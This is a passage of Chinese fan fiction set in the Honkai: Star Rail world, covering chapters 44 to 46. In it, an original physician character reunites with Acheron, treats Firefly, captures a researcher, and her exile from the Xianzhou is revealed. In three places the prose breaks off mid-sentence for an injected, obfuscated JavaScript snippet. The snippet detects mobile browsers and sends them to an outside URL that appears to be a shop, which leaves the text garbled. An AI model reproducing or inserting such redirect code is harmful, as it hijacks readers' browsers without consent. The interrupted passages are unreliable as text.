是伤者的因果结构是否尚存变量。一旦所有可能性汇聚为单一结局,医师的时针便不再逆转。关于医师如何判断因果是否锁死,无任何技术资料可供参考。 其三,不公不义者不治。恃强凌弱者、以他人苦难为乐者、背信弃义者,均在不治之列。此条曾引发争议——有观点认为医者应不分善恶一视同仁,绝境医师的选择性救治违背了医疗伦理。但医师本人从未回应此类批评。值得注意的是,此条标准并非由医师主动宣扬,而是通过被拒案例反向总结得出。某位曾参与过系统性迫害行为的疯狂权贵试图通过挟持边境矿区学校孩子们的生命胁迫医师,最后被巡海游侠以暴制暴,医师本人无任何回应。 若医师同意出诊,邀请者无需安排任何交通工具,只需发送一个精确的空间坐标,医师会在约定的时间范围内出现。 多位亲历者描述了医师到达时的场景,描述内容高度一致,可信度较高:医师的出现没有任何预兆,无飞船,无传送装置。前一秒坐标位置空无一人,后一秒医师已站立于该处。离开方式同样如此。 有目击者试图跟踪,发现自己明明盯着医师的背影,却在某一瞬间失去了目标,而自己无法确认失去目标的具体时刻。 自第二次丰饶民战争解围仙舟「玉阙」开始,绝境医师曾助力仙舟多次,但在倏忽之乱后被仙舟联盟处以流放之刑——永远不得踏入仙舟联盟的任何一艘仙舟,违者格杀勿论。 此为仙舟联盟历史上极为罕见的最高层级驱逐令。流放之刑通常仅针对犯下叛族、勾结丰饶孽物等重罪的仙舟子民。绝境医师并非仙舟公民,本不在仙舟律法的管辖范围内,联盟却专门对其下达了具有同等效力的永久禁令。这一决定的异常性引发了外界的长期猜测。 关联势力 巡海游侠:绝境医师与巡海游侠的协同关系持续数个琥珀纪。血色翁瓦克事件后,绝境医师与巡海游侠一同从公众视野中消失。 天才俱乐部:#83黑塔邀请过医师录入空间站数据库。#64原始博士将医师标记为“最高价值研究样本”。#4波尔卡·卡卡目刺杀医师未遂,以星神目光介入告终。俱乐部内部对医师的态度无统一立场。 —— 智库附注:本词条内容依据黑塔空间站记录、现有目击记录、战场报告及相关人员证言整理而成。部分信息存在矛盾,部分结论基于推测。」 星把屏幕从上往下划拉,读完后大喊:“丹恒,我要告发你不好好管理智库,抄袭黑塔空间站内容!你得用十个金色垃圾来封我的口。” 对于星神奇的思维,丹恒都习以为常了,他一边看书一边说:“那我告发你翻完垃圾桶不换衣服就坐在列车长刚擦干净的椅子上。” 星被抓住了把柄,立马滑跪:“大慈大悲的冷面小青龙阁下,还请饶了可怜的小浣熊吧!” 三月七捂住了鼻子:“哎呀你快去洗澡换衣服吧,咱都闻到这个味道了!” 星穹列车重新启程,行驶在开拓的银轨上,前往下一个目的地。 44.第 44 章 匹诺康尼的太一之梦碎裂后,流梦礁更加静谧了。 翠丝快餐店依旧开着,店里没有客人,翠丝阿姨坐在柜台后面翻一本旧杂志,翻页的声音很慢。 流梦礁的一片空地上,拉格沃克·夏尔·米哈伊尔、拉扎莉娜·简·艾丝黛拉、博雷克林·铁尔南,三块石碑并排而立。 列车组和黄泉抵达的时候,已经有人站在那里了。 是一位女士,背影看去,气质沉静。 衣服的颜色很特别,沉稳的黑色为底,缓缓过渡到深邃的蓝,再到衣摆的银白,在光影下泛着独特的光泽,像是星空本身被剪裁成了衣料。边缘处能看出些许仙舟风格的裁剪痕迹,但整体又不是仙舟的制式,是经过精心修改的,保留了仙舟的骨架,填进了另一种更简洁的美。 头发在脑后盘起,发间插着两枚针,一枚金色,一枚银色。针尾露出发髻之外,在流梦礁的荧光中微微亮着。 黄泉走在列车组的最前面,她踏上通往墓碑的小路时,脚步顿了一下。 那位女士听到了脚步声,侧过头,转过身来。 那双星海一样深邃的眼睛落在黄泉身上。 然后这位女士露出了怀念的表情。 “芽衣。”她说,“好久不见。” 黄泉站在原地。 这两个字像一把钥匙,插进了她记忆深处某扇很久没有打开过的门上,锁芯转动,门开了。虚无的磨损在她的记忆上留下了大片的空白。很多面孔模糊了,很多名字消退了,很多发生过的事情沉入了那片没有颜色的深渊深处。 但这个称呼,她记得这个声音叫她芽衣时的语调,只有一个人会这样叫她的名字。 她往那片空白里找,找到了。 “兰涯。”黄泉说。 兰涯欣慰地笑了。 “当初分别的时候,你说,‘如果我们再见的那一天,我被虚无磨损到忘记了你,请你务必呼唤我的名字,不要躲着我。’”兰涯说,像是把这句话在心里放了很久,现在终于把它拿出来,“现在,你还记得我。” 黄泉也笑了,她问:“你怎么来这里了?” 兰涯侧过身,让出身后的三块墓碑。 她手里的花还没有放上去,三束花,花束不大,白色和浅紫色的花混在一起,捆扎花束的不是绸带,是棉纱条。 兰涯把花束一束一束放在墓碑前,米哈伊尔、拉扎莉娜、铁尔南,每放一束,她的手指在碑面上停留一瞬。 “你们在匹诺康尼的动静太大了。”她说,“天上的流星惊动了我,我来看看他们。为自己当初的无能为力,献上一束迟到的花。” 流梦礁的风从不知道哪个方向吹过来,把墓碑前的花瓣吹得轻轻颤动。 兰涯转过身,目光从墓碑移到黄泉身后的人身上。 星穹列车的无名客们站在小路上,保持着一段礼貌的距离。姬子和瓦/尔/特站在前面,三月七跟在后面,手里还捧着准备献的花,丹恒在她旁边,手臂上搭着外套,星的手上拿着钟表匠的帽子。 兰涯的目光在丹恒和三月七身上停了一下,丹恒和三月七看着兰涯,脸上的表情是标准的见到陌生人时礼貌的、有距离感的、等待对方自报家门的表情。 兰涯向他们颔首,表达对无名客们的致意。 “重新启程的无名客们,你们好。我是兰涯。” 姬子的目光从兰涯发间的两枚针移到墓碑前的三束花上,又移回兰涯脸上。 “除了我们和流梦礁的人们,竟然还有人记得三位无名客。”姬子说,“米哈伊尔、拉扎莉娜、铁尔南。他们的名字在这里之外的地方,已经很少有人提起了。” 兰涯看着墓碑,轻轻地说:“我欠他们公义。” 流梦礁的风停了。兰涯的声音不高,在静止的空气里传得比平时远。 她缓缓讲起诛罗之战的铁尔南,最后与她道别并拜托她向米哈伊尔传达歉意的铁尔南,又讲起听到铁尔南歉意的米哈伊尔,拉扎莉娜的笔记,和自己发现了梦主野心时的无能为力,米哈伊尔给她的希望。 “米哈伊尔对我说,‘不用沮丧,星穹列车会再次起航的。新的无名客会来,他们会看到匹诺康尼的问题,也会想办法解决。我在这里等他们。’” “他等到了。”兰涯说。 三月七的眼眶红了,她没有擦,眼泪掉下来,砸在她手里捧着的那束花上。 星的声音打破了沉默:“拉扎莉娜的笔记,黑天鹅用过,她用它帮助我们来到了清醒的梦境狭间。” 兰涯点点头:“也不枉费拉扎莉娜的心血了。” 黄泉走上前,把手中的花放在三块墓碑前。 她看着铁尔南的墓碑,开口道:“我在虚无之地遇到了铁尔南。” “巡海游侠死后化作的血罪灵,徘徊在那片区域里,重复着生前的战斗,永无止境。铁尔南在那里超度昔日的战友。” “我陪着他,看他把最后一个战友超度完。其实他的真身早已死亡,站在我面前的铁尔南,也是一名血罪灵。” “我超度了他。” “此后,我以黄泉之名行走宇宙,冒充巡海游侠。”黄泉继续说,“是为了找到真正的巡海游侠,兑现铁尔南的承诺,把他的遗物物归原主。” 她看着兰涯:“铁尔南跟我提过你,绝境医师兰涯。我当时以为是同名不同人。早知道是你,我就不用假冒巡海游侠到处找了,只要想办法找到你就行了。” 此言一出,列车组所有人的目光同时落在了兰涯身上。 三月七手里的花差点掉在地上,她的嘴巴张开了,又合上,又张开。丹恒的眉头皱了起来。 星的反应最直接,她跳出来,视线移向兰涯发间的两枚针,摸了摸下巴,说:“金色的是时钟的时针,银色的是罗盘的指针?” 兰涯并没有觉得灰发的开拓者冒犯到了自己,反而像老师听到学生答对了最难的那道题时,鼓励地点点头。 星下意识地继续说:“银色的那个是开拓的指针?” 兰涯笑着颔首,像是困扰宇宙数个琥珀纪的孤波算法终于被黑塔攻破了那样欣慰:“这么久了,从来没有人发现银色的是开拓的指针。” 丹恒的眉头皱得更深了。他的大脑在高速运转,智库里的信息被一条一条调出来,重新排列,重新关联。 “智库的内容需要修改了。”丹恒小声说,“绝境医师不只是终末命途,双针中的一枚是开拓的指针,她同时在两条命途上行走。” 三月七的目光在兰涯脸上停留了很久,然后移开,然后又移回来,她用胳膊肘碰了碰丹恒。 “我怎么觉得,医师有点眼熟啊。”三月七把声音压得很低,低到只有丹恒能听到,“好像哪里见过。” 丹恒没有立刻回答,他的目光也停在兰涯脸上,五官轮廓没有一处是他能明确自己见过的。但三月七说的那种感觉,他也有。 “我也是。”丹恒说,“但是想不起来。” 星听到了他们的低声交谈,她把手从口袋里抽出来,在两个人面前挥了挥。 “你们在说什么?医师肯定要进卡池啊。” 三月七和丹恒同时转头看着她。三月七的嘴角抽了一下,丹恒的眉头从深思状态切换成了面对星式发言时的标准无奈模式。 两个人看着星,一时间谁都没有说话。 星理直气壮地看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17505873|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们:“怎么?我说的不对吗?” 列车组依次上前,在三位无名客的墓碑前完成最后的献花仪式。 流梦礁的风重新流动起来,从墓碑后面吹向墓碑前面,把花瓣上残留的温度带走。 米哈伊尔、拉扎莉娜、铁尔南,和新生代的无名客们,在流梦礁重新聚在了一起。 让无名客们多说说话吧,黄泉和兰涯相视一笑,转身,并肩朝街道走去。 翠丝阿姨的店里亮着暖黄色的光。 兰涯在柜台前看墙上手写的菜单。她的目光从上往下移动,在中间偏下的一行停住了。 “两个冰激凌。” “我第一次吃这个的时候,”兰涯说,“想到的第一件事是——” 她看向黄泉。 “以后一定要请你吃。” 黄泉拿起勺子挖了一勺,放进嘴里,冰激凌的冷意在舌尖散开,甜味跟在冷意后面。 “你变了好多。”黄泉说,“以前你比人偶、机械还要没有活人感,像个没有感情的工具。” “现在的你,眼睛里有了很多东西。”她又挖了一勺冰激凌,慢慢地抿化,“我从你的眼睛里看到了温度。” 黄泉放下勺子,伸出手,握住了兰涯放在桌面上的一只手。兰涯的手背是凉的,可掌心是温的。 “你从痛苦和虚无中爬出来了。”黄泉说,“你抓住了生命中稍纵即逝的那一点红色。那颗种子终究开出了美丽的花,结出了甜美的果实。” 兰涯低头看着黄泉握着她的那只手,自己的另一只手也抬起来,覆在黄泉的手背上。 “芽衣。”她说。 黄泉没有纠正她。 “你这样称呼我,我很喜欢。”黄泉说。 她的手在兰涯的掌心里翻过来,五指张开,扣住了兰涯的手指。 “你在匹诺康尼劈出的那一刀,我看到了。”兰涯说。 黄泉的眉毛动了一下。 “整个存在的地平线,匹诺康尼,太一之梦。”兰涯的眼睛里有一种很少出现的光,“一刀两半,如果我也能劈出那样的刀就好了。” 那样的话,就能—— “我可以教你。”黄泉笑了。 拉扎莉娜留下的忆质后门空间里,依旧是像水的忆质和黑洞。 黄泉把一把伞递给兰涯。 “伞柄里藏着刀,是我自己的旧刀。”黄泉说,“拔刀的时候,手指按在这里。” 她握着兰涯的手,示范了一次。 “你的力量和我不一样。”黄泉说,“终末指向过去,开拓指向未来。你的刀劈出去的时候,同时携带着两种方向相反的力量。” “那我能劈开什么?” “也许你能劈开琥珀王的墙?” 黄泉试着开了个玩笑,她抬起手,调整了一下兰涯握刀的角度,退后一步,让出空间。 “劈一刀看看。” 兰涯一刀劈下去,并没有注入力量,深怕把拉扎莉娜留下的梦境后门空间损坏。 黄泉站在她身后,满意地颔首:“动作很标准,你学会了。” “是你教得好,接下来我要去完成卡芙卡的委托了。” 兰涯把刀收回伞柄,低头看着手里的伞,伞面是红色的,伞骨是黑色的,收拢之后握在手里,重量刚好。 “这把伞,送给你。”黄泉说。 兰涯抬起头。 “我要去的地方,伞挡不住什么。”黄泉把自己接下来的行程告诉兰涯,“我要去寻找第Ⅸ机关的秘密,找到斩断虚无的办法。” “虚无也能斩断吗?” “不知道。”黄泉说,“但那一刀,总得有人去劈。” 45.第 45 章 白日梦酒店的某间客房里,银狼正把腿翘在茶几上打游戏。 兰涯推门进来的时候,银狼刚好通关了一个关卡。她把游戏机往沙发上一扔,站起来,目光从兰涯脸上移到她手里多出来的那把伞上,停了一秒,然后移开了。 “流萤在里面。”银狼朝套房内侧的门扬了扬下巴,“卡芙卡不在匹诺康尼,这次委托只有我接待,她说你知道该怎么做。” 兰涯点了一下头,推开内侧的门。 流萤躺在床上,床很大,她的身体只占了很小的一部分,白色的床单衬着她灰白色的皮肤,失熵症的侵蚀已经到了肉眼可见的程度。 兰涯在床边坐下来,看着这个少女的身体各部位已经呈现出不同时间流速的时空错乱状态。 流萤的眼睛半闭着,瞳孔里的光已经很弱了。她看着兰涯,嘴唇动了一下。 “卡芙卡说,你会来。”她的声音很轻,轻到兰涯需要侧过头才能听清。 “嗯。” “她说你治不好我,但可以让我慢一点。” “嗯。” 笑这个动作对她的脸部肌肉来说已经很吃力了,但她还是努力笑了一下。 “那就慢一点吧。” 兰涯治不好失熵症,驾驶员就是格拉默铁骑的燃料,流萤每一次战斗,就是将自己的存在作为燃料被机甲消耗。 目之所见,流萤的存在缺失已经非常大了,这是逆转时间也无法改变的。如果她一直这么战斗下去,她就一定会步向死亡,除非有人能用自己前进的能量去填补她缺失的存在。 但是暂时不让病情继续恶化,能拖一时是一时还是做得到的。 金银双色的光芒从两枚针的针尖同时亮起,兰涯将时空错乱的各个部位努力锚定到了一个点上。 流萤瞳孔里的光还是弱的,但比刚才稳定了一些。 “谢谢你,医师。”她说。 “不用谢。”兰涯摇摇头,“我只是把终点往后推了一点。” 走出套间的时候,银狼正站在窗边往外看。匹诺康尼的街景在窗外铺展开来,霓虹灯光把她的侧脸染成一层一层的彩色。 “艾利欧让我转告你一句话。”银狼没有回头,“变量已经确认,剧本中为你预留了席位,参与或观看,选择权在你。” 兰涯问:“他每次说话都这样吗?” 银狼终于转过头来,嘴角翘起来:“谜语人嘛,习惯了就好。” 兰涯从星核猎手的房间走出来,带上门的一刹那,她的神情变了。 温和沉静的那层沉了下去,取而代之的是一种纯粹的冰冷。 如果经历过翁瓦克事件的游侠在场,看到这张脸,会立刻想起战场上眼睛里那种让熊把话卡在喉咙里的光。 她现在就是那个温度。 走廊尽头的楼梯往下走一层,穿过一道防火门,是一排标间。兰涯的靴子踩在酒店厚实的地毯上,悄无声息。 她在604房的门前毫不犹豫,直接破开了门。 房间里的住客正坐在床边飞快地收拾东西。 一只戴着圆框眼镜的猴子,穿着白色实验袍,眼镜片后面的眼睛在看到兰涯的瞬间睁大了,瞳孔急剧收缩,几乎缩成了一条竖线。 它从床边弹起来,右手同时伸向枕头底下,指尖触到了一个硬物,通讯器。 手指刚碰到通讯器的外壳,整个房间的时间停了。 兰涯站在门口,双针悬浮于她身侧。 终末时针在左,金色光芒从针身延伸出去,覆盖了整个房间的空间边界。 开拓指针在右,银色光芒从针尖流出,沿着时间流动的方向逆向蔓延。 两道光交汇之处,房间里的时间线和空间坐标被同时锚定。 空气停止了流动。窗帘边缘被风掀起的那个弧度固定在了半途。桌上的水杯里,水保持晃动的角度凝固住了。 蕉授的身体凝固在从床边弹起到伸手摸通讯器的中间姿势上,手伸向枕头,指尖距离通讯器外壳还有不到两寸。 它的眼睛睁着,瞳孔里映着兰涯站在门口的身影。 兰涯走进房间,门在身后关上。她在研究员面前站定,左手支着伞,低头看着它停在半途只差一丁点儿就能碰到通讯器的手指,然后抬起了右手,手指在空中微微收拢。 蕉授的身体被一股无形的力量从床和枕头之间拎了起来。它的双脚离开了地毯,悬在半空中,实验袍的下摆垂下来,不再飘动。 兰涯的手指往上抬了一点,研究员的身体跟着往上浮了一点,悬停在与她视线持平的高度。 它的眼镜片后面,瞳孔里的恐惧凝固到几乎可以实体化。 兰涯开口了。她的声音带着笑意,轻快的,上扬的,甚至带着一丝真正的好奇,认识她的故友们如果在这里,会很震惊,因为他们从来没有见到过这种笑会在兰涯身上出现。 但她的眼睛没有笑,眼睛里的冷意和声音里的笑意并存,比单纯的冷更让人后背发凉。 “二级研究员。” “你一个月工资多少?”兰涯歪了一下头,幅度很小,像是在认真思考这个问题,“我可以加倍。只要你乖乖配合,做我的实验品就好。” 研究员喉咙里挤出一个音节,不知道到底想要表达什么。 兰涯看着它,透过它的瞳孔,看向更深的地方,个体在虚数之树上留下的所有因果痕迹。 她看到它在翁瓦克实验场的记录,看到它在折纸大学投放模因病毒的过程,看到它写给原始博士的实验报告,报告里把退化样本的认知残余评估数据做成了一张漂亮的表格。 兰涯把视线从它的瞳孔深处收回来。声音里的笑意没有消失,但温度又降了一度。 “你们把人类当作薪柴。”她说,语速不快,仿佛并非只说给蕉授听,“那就要知道,薪炎永燃,可以燎原。” 研究员的嘴唇剧烈地抖了一下,想说话,但声带被压着发不出完整的音节。兰涯的手指松开了一点,刚好够它发出声音。 “我只是一个弱小的二级研究员。”它的声音从喉咙里挤出来,“听命于原始博士,研究是博士要求的,我没有任何自主权,求求你——” “别装可怜。”兰涯说,声音里的笑意收了,“人不能在发现自己快要死的时候才想起要做个人。不过放心,我不会让你死的。” 研究员的眼睛里除了恐惧,又有了困惑。它以为自己会死,面前这个人说不会让它死。 双针从身侧飞回,悬浮于她并拢的指尖前方。 固定住整个房间的时间空间随着双针光芒的收束而同步收缩。 边界飞快地从墙壁退到地毯,从地毯退到空地,从空地退到以研究员为中心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17505874|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周围一圈。 之前被时间固定住的窗帘边缘恢复了飘动,水杯里的水面重新晃动,空气中的灰尘重新开始缓慢地浮动。只有研究员周围那一小片区域,仍然被锚定着。 双针的光芒最后收束了一次,形成了一个刚好包裹住它全身的透明球体。 在这个透明球体里,研究员能动了,右手本能地继续伸向已经不存在的枕头方向,抓了个空。嘴张开了,想喊,声音被封在球体内部,传不出来。 它像是变成了一只被封在琥珀里的虫子。 双针回到了发间。 兰涯单手托起球体,噙着从研究员角度来看渗得慌的笑容打量了一番后,收起来,走出房间。她的表情恢复了往日的沉静,靴子踩在地毯上,这一次发出了轻微的沙沙声。 流梦礁,列车组的三人和两位游侠,在边缘地带追到了蕉授的身影,正讨论着怎么处理蕉授。 芮克先生和副导演站在一旁,芮克先生提醒他们:“诸位,你们想要拷打一个道具,我没有意见。但请别忘了,流梦礁也是梦境,真正的本体在现实已经醒过来了,应该已经准备从匹诺康尼逃跑了。” 乱破闭上眼睛,认真搜寻了一番,睁开眼确认芮克说得没错:“在下的超·听力无法捕捉到邪祟的声响,虾蟇·忍者所言非虚。” 星把球棒往地上一顿:“邪祟,实际卑鄙!” 这时,乱破的手机响了。铃声是很传统的忍者主题旋律,在流梦礁的安静中显得格外突兀。她掏出手机,眼睛扫过消息内容,整张脸亮了起来。 “命溯·御前大人御告于在下。”她的声音比平时高了半个音,“邪祟已由大人亲手擒获。诸位归阵,莫再于战场之涡徘徊。” 波提欧吹了声口哨,他把手枪在指间转了一圈,收回枪套:“宝了个贝的,喵了半天还是得靠场外援助。” 然后他对乱破说:“你帮我一起回复医师,我们很快就来。”。 星注意到了波提欧声音里的调性变了,和他上一句话里那种特殊联觉信标下的鸟语花香不一样,是很少在他身上出现的、带着敬意的郑重。星盯着他看了两秒,差点以为他被斯科特夺舍了。 波提欧感觉到她的目光,转过头:“宝贝的看什么?” “没什么。”星把视线移开,然后又移回来。 三月七凑到星旁边,把嘴唇又凑到她耳朵边上:“这命溯·御前大人说的该不会就是……”她的声音压得很低。 星叉起腰,下巴往上一扬,用完全不需要压低的声音回答:“对,就是双针·忍者!” 三月七的嘴角抽了一下:“你什么跟什么啊。” 乱破转过身来,面对着星,脸上带着折纸大学里「谐乐蕉师」纠正非常重要的原则性错误时必须持有的严肃。 “此言差矣。”她说,“「忍者」乃我等行走于忍道、奉行忍法之徒的名号。而那位大人,非忍道之人,凌驾于忍道之上。称其为「忍者」,是对其伟业的亵渎,当尊大人为命溯·御前。此乃缭乱·忍侠之谏言,望你谨记。” 星把叉在腰上的手放下来,垂在身侧,脊背挺直。她看着乱破,用力地点了一下头:“在下已谨记于心。” 三月七转向丹恒,眼睛里写满了“你来说说她呀”。 丹恒把扶在额头上的手放下来:“这个时候,只要微笑就好。” 46.第 46 章 列车车厢里,圆桌周围坐了一圈人。瓦/尔/特把星期日从匹诺康尼带回来之后,星期日就一直待在列车里。他坐在圆桌靠窗的位置,手上拿一杯茶。 姬子坐在他对面,瓦/尔/特坐在姬子旁边。 兰涯坐在停云和星期日之间。她的手放在停云的尾巴上,浴火重生的狐人非常乖巧地给摸尾巴,蓬松的尾巴搭在兰涯的膝盖上,尾巴尖偶尔轻轻扫一下。 兰涯的面前有一杯姬子给的咖啡,咖啡杯里泡着一个球,球里有个蕉授,已经被姬子的咖啡熏晕了。 乱破走进车厢,在兰涯面前站定,双手抱拳:“命溯·御前大人,缭乱·忍侠,参上。此间妖气已封禁,请大人裁断。” 车厢里安静了一瞬。显然茶会上的四位都是第一次听到这种语言模块。 停云正在被顺毛的尾巴停了一下,然后继续轻轻扫着兰涯的掌心,组织了一下语言:“这位小姐真是诙谐有趣,令人难忘呢。”她说完之后,尾巴在兰涯掌心里轻轻摇了摇,像是自己给自己的这句及时救场语打了一个肯定的五星好评。 兰涯的手指从停云的尾巴上移开,手放回桌子上,显然已经习惯了这种语言模块,帮忙介绍:“游侠乱破。” 星紧跟着走进车厢,她大步走到乱破旁边,并排站好,双手抱拳:“球棒·忍者,参上!” 三月七从她身后探出头,忍了又忍,忍无可忍:“你就别添乱了!” 丹恒抱着手在边上叹气。 波提欧最后一个走进来,站定的姿势比平时端正了很多。星盯着他看,再次确认他是不是被斯科特夺舍了。 “辛苦兰医师了。”他说,声音里的郑重和之前在流梦礁时一样。 兰涯用勺子把球体捞出来,掏出纸巾把球体表面擦干净,内部的蕉授已经被咖啡熏死过去,眼镜歪在鼻梁上。 “不用客气。”兰涯收起球体,“还要多谢乱破告诉我这个消息,方便我来采集样本。如此一来,我在匹诺康尼要做的三件事都做完了,还遇到了故人相逢的意外之喜,收获很大。” 她站起来,目光落在星期日身上。星期日手里的茶杯放回了桌面上,他看着兰涯,安静而专注。 “歌斐木当年阻止我插手时,问过我一个问题。”兰涯回忆着,“「为什么有了星神,有了命途,有了医师这样的人,生命依然被压迫?为什么不公在宇宙的每一个角落都存在?」我一直在思考这个问题的答案,人如何有尊严地活下去?” “也曾有朋友劝我,「历经世间百态,见过欢乐,见过痛苦,见过繁华,见过荒芜。当你真正看透这宇宙的真相,真正读懂自己的内心,再做决定,也不迟。」”她温柔地看着这只谐乐鸽,“我想,每个人的答案不一样。但是停滞不前总是无法答题的,行走的路长了,宽了,大概就有自己的答案了。” 星期日站起来,朝兰涯行礼致意:“感谢您的箴言,医师。” 兰涯转向停云。停云的尾巴在她目光落过来的瞬间轻轻晃了一下。 “阮·梅女士对于你的身体重塑非常尽心尽力,我从中学到了很多。” 停云听到阮·梅的名字时,耳朵微微往前倾了一点。 “命运为你留下了一线生机,但「毁灭」的烙印仍在蠢蠢欲动。如果你以后遇到难以控制的紧急情况,可以联系我,仅限仙舟以外的区域。”她顿了一下,“毕竟——” 停云站起来,双手在身前交叠,行了一个很标准的狐人礼节。 “小女子先拜谢医师善心。未来若有叨扰,也不会让医师为难。”她抬起头,眼睛弯着,嘴角的弧度恰到好处。 八面玲珑的停云,永远会在对方需要台阶的时候主动、及时地把台阶铺好。 兰涯颔首,她转向列车组的众人,又看向乱破和波提欧,说:“我还有事,先告辞了。” 她拿起靠在一边的伞,朝车厢门口走去,还没走几步,波提欧的声音从身后追上来:“兰医师。” 兰涯停下脚步,侧过头。 波提欧站在原地,手指无意识地摸着枪套的边缘。 “老大他——”他把话咽回去一半,剩下的半句在嘴里滚了几圈,“你知道他在哪里吗?” 兰涯看着他,微微一笑。 “实不相瞒,我也不知道,已经很久没有联系了,也许是为了躲债手机欠费停机了?如果你能找到他,记得帮我转告,他欠了我很大一笔钱。” 下一刻,她当着所有人的面,推开车厢的门,跃迁离开。 她的身形微微虚化,与周围的星尘、虚空融为一体。虚数力量化作无形的羽翼,托着她的身躯,一眨眼就消失在了阿斯德纳星系。 星憧憬地说:“如果我也能这样跃迁,就不需要列车长发车了。” 帕姆听到了,气鼓鼓地说:“星乘客在说什么帕!” 星立刻滑跪:“列车长大人我错了,饶了小的一命吧!” 三月七拉着她:“嗨呀你快起来啦,大家都看着呢!” 椒丘的伤势比飞霄预想的要麻烦得多。 丹鼎司的治疗报告摆在桌上,飞霄已经翻来覆去看了好几遍。 咬合伤处理得还算顺利,骨裂固定了,肝功能在慢慢恢复,失血的问题也通过输血和药物调理稳住了。 真正棘手的是毒素。椒丘为了牵制呼雷,自己服用了毒物,让毒素混入血液循环。 呼雷按照步离习俗饮下他的血液,在竞锋舰上毒性发作,最终败亡。 但椒丘自己也付出了代价。毒素在他体内停留的时间太长了,毒物引发的血液循环紊乱损伤了视神经,退化型病变已经形成。 丹鼎司的结论写得很克制,但意思很清楚:功能性失明的状态,目前的技术手段无法逆转。 飞霄把报告放下,没有说话。貊泽站在她身后的墙角,沉默着。 椒丘本人倒是很平静,靠在病床上,眼睛上蒙着一层药纱,语气和平时没什么两样:“将军,我现在能吃能睡,没缺胳膊没断腿,已经是不幸中的大幸了。眼睛的事,慢慢来。” 飞霄没接话。 星站在病房角落里,把这一切看在眼里。她的脑子转了一圈,忽然亮了一下:“可以摇人,找绝境医师来。” 丹恒的眉头动了一下,他侧过头看着星,嘴唇动了动,把声音压得很低:“别戳人家伤口了。” 星愣了一下,然后想起来了,绝境医师被仙舟流放,永远不得踏入任何一艘仙舟,违者格杀勿论。 她刚才那句话,等于是提议让一个被仙舟联盟永久驱逐的人来仙舟救人。 病房里的气氛一下子变得有些微妙。所有人都知道绝境医师的流放令,所有人都知道这个话题在仙舟有多敏感。 灵砂站在病床另一侧,抱着手臂。她成为丹鼎司司鼎的时间不算长,但土生土长的罗浮持明族出身,让她在涉及持明族的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17505875|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话题上向来不讲究什么委婉。她开口了,语气带着明显的不屑。 “我看当年那件事,人家也没什么错。” 飞霄看向她。 灵砂没停,语速不快,但每个字都咬得很清楚:“持明那群龙师有什么好东西,成个蛋重生还能好好做人呢,只是后面运气不好,那能怪谁。” 她说完之后,病房里安静了一瞬。 灵砂说这话是有资格的,她的师父当年因为卷入持明政争的漩涡,被流放至遥远的他乡。灵砂念及师徒情分,毅然决然地追随师父一同踏上了漂泊之路。她对那群老资历的不满,是用自己的青春和颠沛换来的。所以她说这话,没人能反驳。 丹恒站在窗边。灵砂的话音落下之后,他的目光从窗外收回来,脑海中突兀地开始眩晕。然后他感觉到了,那种熟悉又陌生的、从记忆深处往上浮的感觉。 光线、声音、某人说话的语气、某个瞬间。 他看到了很多个龙师的脸闪回。 然后他看到了另一张脸,发间插着两枚针,一金一银,是兰医师。她在看另一个方向。丹恒顺着她的目光看过去,看到了一个人,苍青色的眼睛,和自己一模一样的轮廓,丹枫。 碎片在这里断了一下,变黑了。 然后是兰涯的声音:“想不想来一场爽了再说的天翻地覆?” 丹枫的声音沙哑:“你想做什么?” “重启持明传承。把所有的龙师都打回蛋的状态,让传承彻底重置。” 碎片在这里剧烈地亮了一下,龙师们的身影在光芒中模糊、收缩、凝固,最后变成了一地的持明卵。 丹恒猛地睁开眼睛,他的手按在窗台上,轻轻颤抖。 “丹恒?”三月七的声音从旁边传过来,带着担心,“你怎么了?” 星也看了过来。灵砂停下了话头,目光落在丹恒脸上。丹恒的呼吸平稳下来。他的手从窗台上松开,垂回身侧。 “医师被仙舟流放的原因。”他说,声音有些发干,“是和丹枫联手,把龙师全都砸回持明卵了。” 病房里的空气凝固了大约两秒。三月七的嘴巴张开了,星的眼睛瞪圆了,飞霄的手指停在了半空中,貊泽从墙角转过身来。 灵砂是第一个打破沉默的人。她的反应出乎所有人的预料,她哼了一声,露出说不清是解气还是无奈的笑:“我师父当年就是因为不支持判绝境医师重刑,被赶出了罗浮,不过他没告诉我为什么重判。后来鳞渊之乱波及到的持明卵,大多都是那批龙师蜕生的。”她说到这里停了一下,嘴角的弧度带着一点她身居司鼎之位似乎不该有的痛快,“活该。” 说完之后,她忽然意识到了什么,目光转向丹恒。 